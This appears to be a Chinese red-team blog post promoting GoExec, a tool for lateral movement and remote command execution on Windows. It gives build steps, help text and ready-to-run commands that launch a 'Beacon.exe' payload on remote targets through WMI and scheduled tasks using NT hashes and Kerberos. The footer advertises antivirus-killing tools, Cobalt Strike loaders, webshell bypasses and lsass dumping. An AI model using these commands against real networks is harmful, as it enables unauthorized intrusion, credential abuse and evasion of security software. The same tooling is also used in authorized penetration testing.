点击上方蓝字关注我们
现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
工具介绍
GoExec是一款用于在Windows上进行横向移动远程执行命令和程序的全新工具。支持在windows、Linux上运行程序。
https://www.falconops.com/blog/introducing-goexec
工具编译
对于预发布功能,请获取最新的提交并手动构建。
# (Linux) Install GoExec manually from source
# Fetch source
git clone https://github.com/FalconOpsLLC/goexec
cd goexec
# Build goexec (Go >= 1.23)
CGO_ENABLED=0 go build -ldflags="-s -w"
# (Optional) Install goexec to /usr/local/bin/goexec
sudo install ./goexec /usr/local/bin
工具使用
GoExec 由所使用的每个远程服务的模块(即 wmi、scmr 等)和每个模块中的特定方法(即 wmi proc、scmr change 等)组成。
Usage:
goexec [command] [flags]
Execution Commands:
dcom Execute with Distributed Component Object Model (MS-DCOM)
wmi Execute with Windows Management Instrumentation (MS-WMI)
scmr Execute with Service Control Manager Remote (MS-SCMR)
tsch Execute with Windows Task Scheduler (MS-TSCH)
Additional Commands:
help Help about any command
completion Generate the autocompletion script for the specified shell
Logging:
-D, --debug Enable debug logging
-O, --log-file file Write JSON logging output to file
-j, --json Write logging output in JSON lines
-q, --quiet Disable info logging
Authentication:
-u, --user user@domain Username ('user@domain', 'domainuser', 'domain/user' or 'user')
-p, --password string Password
-H, --nt-hash hash NT hash ('NT', ':NT' or 'LM:NT')
--aes-key hex key Kerberos AES hex key
--pfx file Client certificate and private key as PFX file
--pfx-password string Password for PFX file
--ccache file Kerberos CCache file name (defaults to $KRB5CCNAME, currently unset)
--dc string Domain controller
-k, --kerberos Use Kerberos authentication
Use "goexec [command] --help" for more information about a command.
WMI 模块
wmi 模块使用远程 Windows Management Instrumentation (WMI) 生成进程 (wmi proc) 或手动调用方法 (wmi 调用)。
# Run an executable without arguments
./goexec wmi proc "$target"
-u "$auth_user"
-p "$auth_pass"
-e 'C:WindowsTempBeacon.exe'
# Authenticate with NT hash, fetch output from `cmd.exe /c whoami /all`
./goexec wmi proc "$target"
-u "$auth_user"
-H "$auth_nt"
-e 'cmd.exe'
-a '/C whoami /all'
-o- # Fetch output to STDOUT
Task Scheduler模块
该模块利用 Windows Task Scheduler 服务 (MS-TSCH)在远程目标上生成进程。
Usage:
goexec tsch [command] [flags]
Available Commands:
demand Register a remote scheduled task and demand immediate start
create Create a remote scheduled task with an automatic start time
change Modify an existing task to spawn an arbitrary process
... [inherited flags] ...
Network:
-x, --proxy URI Proxy URI
-F, --epm-filter string String binding to filter endpoints returned by the RPC endpoint mapper (EPM)
--endpoint string Explicit RPC endpoint definition
--no-epm Do not use EPM to automatically detect RPC endpoints
--no-sign Disable signing on DCERPC messages
--no-seal Disable packet stub encryption on DCERPC messages
创建计划任务
该方法使用 SchRpcRegisterTask 注册计划任务,并通过 TimeTrigger 自动开始时间,并使用 DeleteExpiredTaskAfter 设置选择自动删除。
# Authenticate with NT hash via Kerberos, register task at MicrosoftWindowsGoExec, execute `C:WindowsTempBeacon.exe`
./goexec tsch create "$target"
--user "${auth_user}@${domain}"
--nt-hash "$auth_nt"
--dc "$dc_ip"
--kerberos
--task 'MicrosoftWindowsGoExec'
--exec 'C:WindowsTempBeacon.exe'
更多功能就不一一展示了,请大家自行探索测试!
相关地址
圈子介绍
博主介绍:
目前工作在某安全公司攻防实验室,一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练,擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
目前已经更新的免杀内容:
部分免杀项目源代码
一键击溃360+核晶
一键击溃windows defender
一键击溃火绒进程
CobaltStrike4.9.1二开
CobaltStrike免杀加载器
数据库直连工具免杀版
aspx文件自动上线cobaltbrike
jsp文件自动上线cobaltbrike
哥斯拉免杀工具 XlByPassGodzilla
冰蝎免杀工具 XlByPassBehinder
冰蝎星落专版 xlbehinder
正向代理工具 xleoreg
反向代理工具xlfrc
内网扫描工具 xlscan
CS免杀加载器 xlbpcs
Todesk/向日葵密码读取工具
导出lsass内存工具 xlrls
绕过WAF免杀工具 ByPassWAF
等等...
往期推荐
1.
2.
3.
4.
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...